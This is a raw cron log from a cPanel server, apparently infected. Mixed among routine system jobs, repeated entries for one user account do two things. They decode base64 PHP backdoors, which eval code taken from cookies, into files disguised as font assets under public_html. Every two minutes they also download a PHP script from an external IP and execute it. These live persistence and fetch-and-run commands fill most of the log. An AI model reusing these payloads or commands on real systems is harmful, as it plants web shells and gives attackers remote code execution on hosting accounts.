Sep 10 07:59:01 ip-184-168-122-23 CROND[31086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:59:01 ip-184-168-122-23 CROND[31088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:59:01 ip-184-168-122-23 CROND[31089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:59:01 ip-184-168-122-23 CROND[31090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31191]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:00:01 ip-184-168-122-23 CROND[31197]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31200]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:00:01 ip-184-168-122-23 CROND[31198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:00:01 ip-184-168-122-23 CROND[31201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:01:01 ip-184-168-122-23 CROND[31331]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 08:01:01 ip-184-168-122-23 CROND[31335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31331]: starting 0anacron
Sep 10 08:01:01 ip-184-168-122-23 CROND[31343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:01:01 ip-184-168-122-23 CROND[31342]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:01:01 ip-184-168-122-23 CROND[31345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:01:01 ip-184-168-122-23 CROND[31344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31346]: finished 0anacron
Sep 10 08:02:01 ip-184-168-122-23 CROND[31477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:02:01 ip-184-168-122-23 CROND[31480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:02:01 ip-184-168-122-23 CROND[31482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:02:01 ip-184-168-122-23 CROND[31481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:02:01 ip-184-168-122-23 CROND[31479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:03:01 ip-184-168-122-23 CROND[31598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:03:01 ip-184-168-122-23 CROND[31600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:03:01 ip-184-168-122-23 CROND[31602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:03:01 ip-184-168-122-23 CROND[31601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:04:01 ip-184-168-122-23 CROND[31689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:04:01 ip-184-168-122-23 CROND[31690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:04:01 ip-184-168-122-23 CROND[31692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:04:01 ip-184-168-122-23 CROND[31693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:04:01 ip-184-168-122-23 CROND[31695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:05:01 ip-184-168-122-23 CROND[31821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:05:01 ip-184-168-122-23 CROND[31823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:05:01 ip-184-168-122-23 CROND[31828]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:05:01 ip-184-168-122-23 CROND[31830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:05:01 ip-184-168-122-23 CROND[31831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:05:01 ip-184-168-122-23 CROND[31829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:05:01 ip-184-168-122-23 CROND[31836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:06:01 ip-184-168-122-23 CROND[32041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:06:01 ip-184-168-122-23 CROND[32044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:06:01 ip-184-168-122-23 CROND[32043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:06:01 ip-184-168-122-23 CROND[32047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:06:01 ip-184-168-122-23 CROND[32046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:07:01 ip-184-168-122-23 CROND[32139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:07:01 ip-184-168-122-23 CROND[32142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:07:01 ip-184-168-122-23 CROND[32140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:07:01 ip-184-168-122-23 CROND[32144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:08:01 ip-184-168-122-23 CROND[32220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:08:01 ip-184-168-122-23 CROND[32223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:08:01 ip-184-168-122-23 CROND[32224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:08:01 ip-184-168-122-23 CROND[32226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:08:01 ip-184-168-122-23 CROND[32225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:09:01 ip-184-168-122-23 CROND[32328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:09:01 ip-184-168-122-23 CROND[32331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:09:01 ip-184-168-122-23 CROND[32330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:09:01 ip-184-168-122-23 CROND[32332]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 08:09:01 ip-184-168-122-23 CROND[32333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:10:01 ip-184-168-122-23 CROND[32431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:10:01 ip-184-168-122-23 CROND[32434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:10:01 ip-184-168-122-23 CROND[32435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:10:01 ip-184-168-122-23 CROND[32439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:10:01 ip-184-168-122-23 CROND[32438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:10:01 ip-184-168-122-23 CROND[32443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
